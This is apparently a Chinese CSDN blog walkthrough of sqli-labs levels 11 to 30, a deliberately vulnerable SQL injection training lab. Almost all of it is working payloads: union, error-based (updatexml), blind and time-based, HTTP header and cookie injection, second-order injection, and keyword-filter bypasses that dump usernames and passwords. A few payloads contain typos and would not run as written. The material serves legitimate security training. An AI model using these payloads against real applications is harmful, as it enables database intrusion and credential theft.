# sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为练习者提供良好的练习平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自信的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema='库名' limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1;
Less-11
闭合方式是1’ #
# 输入1' union select 1,2,来判断回显位置。
# 输入语句来爆数据库名和数据库的表名
-1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #
# 爆数据库中的表的字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
# 爆数据库中users中数据内容
-1' union select 1,group_concat(username,'-',password) from security.users #
Less-12
闭合方式 ") #
和11关一样,只不过是闭合方式不一样
# 爆数据库名
-1) union select 1,database() #
# 爆数据库中的表名
-1") union select 1,database() #
# 爆数据库中users表的字段
-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
# 爆数据库中users表中所有的内容
-1") union select 1,group_concat(username,'-',password) from security.users #
Less-13
闭合方式’) #
报错注入
# 使用报错注入的方式来对数据库名进行爆库
admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
# 对数据库中的表进行爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
# 对users中的字段名爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
# 把users表中的数据爆出
admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
Less-14
闭合方式 " #
报错注入的方法,与13关一样,闭合方式不一样
# 对数据库名爆出
admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #
# 把数据库中的表名爆出来
admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
# 爆出users中的字段名
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
# 爆出users中的所有数据
admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
Less-15
此题使用联合查询和报错注入都无法成功,所以只能用盲注和时间注入来解答此题。
# 对数据库爆库
admin' and if(ascii(substr(database(),1,1))>115#
# 对数据库中表名进行爆出
admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
# 爆出数据库中users表中的字段
admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
# 查询users表中所有的数据
admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #
Less-16
此题和15关一样,使用的是盲注,闭合方式不一样
闭合方式")
# 判断数据库的长度
admin") and if(length(database())>8, 0, sleep(5))-- -
# 判断数据库的名
admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
# 判断数据库的表名
admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
# 判断表中的字段名
admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
# 判断表中的数据
admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -
Less-17
闭合方式为1’ #
使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入
# 对数据库进行爆库
1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #
# 查询数据库中的表
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
# 查询users表中的字段
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
# 对users中的数据进行爆出
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #
Less-18
闭合方式 ’ #
此题是http头部注入,使用User-Agent注入
# 输入正确的用户和密码显示出UA头,错误的用户和密码会导致页面显示没有变化
# 进行抓包,然后对UA头进行注入,来爆数据库的名称
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #
# 查询表里的字段名
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
# 查询数据库表中的内容
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
Less-19
此题需要http头部注入,登录成功显示Referer报错注入
闭合方式是’
从中可以看出登录成功页面回显,失败则没有回显信息
因此我们使用referer进行报错
# 查询数据库名
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
# 查询数据库的表名
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
# 查询数据库表中字段
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
# 查询数据库所有数据
',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
Less-20
此题需要使用cookie来解答
# 当输入正确账户和密码时,页面显示的是cookie
# 通过get抓包来获取数据的信息,输入cookie来注入爆数据库名
uname=-admin' union select 1,2,database()--+
# 查询数据库中的表
uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
# 查询数据表中的字段
uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
# 查询数据库表里的内容
uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+
Less-21
闭合方式’)
此题需要将cookie的编码方式解码
然后再进行加密编码
然后再使用报错注入进行
# 爆出数据库名
') and updatexml(1,concat(0x7e,database(),0x7e),1)#
# 爆出数据库中的表名
')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
# 爆出users表中的字段
')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
# 查询出users表中所有的数据
')and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
Less-22
闭合方式" #
和二十一关一样,只是闭合方式不一样
# 报错查询数据库
" and updatexml(1,concat(0x7e,database(),0x7e),1)#
# 报错注入查询数据库下的表
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
# 查询表下的字段
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
# 查询数据库的内容
" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
Less-23
闭合方式 ’ or ‘1’='1
此关闭合会过滤符号,首先用or ’1‘=’1来进行闭合
然后再用联合查询
# 查数据库的名称
-1' union select 1,database(),3 or '1'='1
# 查询数据库的表单
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 or '1'='1
# 查询数据库中表字段
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 or '1'='1
# 查询数据库中表的内容
-1' union select 1,(select group_concat(username,password)from users),3 or '1'='1
Less-24
此题用了二次注入
# 注册一个用户名a 密码123456的用户
# 注册一个a‘#的用户和密码
# 然后用错误的密码修改
# 再次登录a 用刚才修改后的密码,发现登录成功
Less-25
闭合方式’ --+
首先使用联合注入,看到其回显位置
然后需要用双绕过来报错注入
# 联合注入,判断回显位置
-1' Union select 1,2,3 --+
# 报错查询数据库
-1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) --+
-1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+ //两句都可以注入
# 查询数据库下的表
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+
# 查询数据库表下的字段
-1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrormation_schema.columns where table_name='users'),0x7e),1) --+
# 查询数据库表下的内容
-1' aandnd updatexml(1,concat(0x7e,(select group_concat(username,'-',passwoorrd) from security.users),0x7e),1) --+
Less-25a
闭合方式 数字型的
使用联合查询判断回显位置
# 数字型 判断回显位置
-1 union select 1,2,3
# 查询数据库
-1 union select 1,database(),3
# 查询数据库中的表
?id=0 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
# 查询表中字段名
?id=0 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' --+
# 查询表中数据
?id=0 union select 1,group_concat(0x7e,username,0x7e),group_concat(0x7e,passwoorrd,0x7e) from users --+
Less-26
# 查询数据库名
?id=1'||(updatexml(1,concat(0x7e,(select(database()))),1))||'0
# 查询数据库中的表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
# 查询表中的字段名
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
# 查询表中的数据
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(users))),1))||'0
Less-27
这一关过滤了select和union,可以通过大小写绕过和重写绕过
# 查询数据库名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(database()))),1))or'0
# 查询数据库中的表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
# 查询表中的字段名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
# 查询表中的数据
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0
Less-28
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写
# 查询数据库名
?id=0')uni union%0Aselecton%0Aselect%0A1,database(),2%0Aand ('1
# 查询数据库中的表
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
# 查询表中字段名
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
# 查询表中的数据
?id=0')union%0aunion%0aselectselect%0a1,group_concat(username,password),3%0afrom%0ausers%0awhere%0a1=1%0aand('1')=('1
Less-29
# 查询数据库名
?id=1&id=0' union select 1,2,database() --+
# 查询数据库中的表
?id=0' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = database() --+
# 查询表中的字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+
# 查询表中的数据
?id=0' union select 1,group_concat(username),group_concat(password) from users --+
Less-30
# 查询数据库名
?id=0" union select 1,2,database() --+
# 查询数据库中的表
?id=0" union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = database() --+
# 查询表中的字段名
?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users" --+
# 查询表中的数据
?id=0" union select 1,group_concat(username),group_concat(password) from users --+
好小子,离成功又近一步!!!
标签:name,0x7e,labs,sqli,concat,SQL,table,select,schema From: https://blog.csdn.net/weixin_67832625/article/details/141035734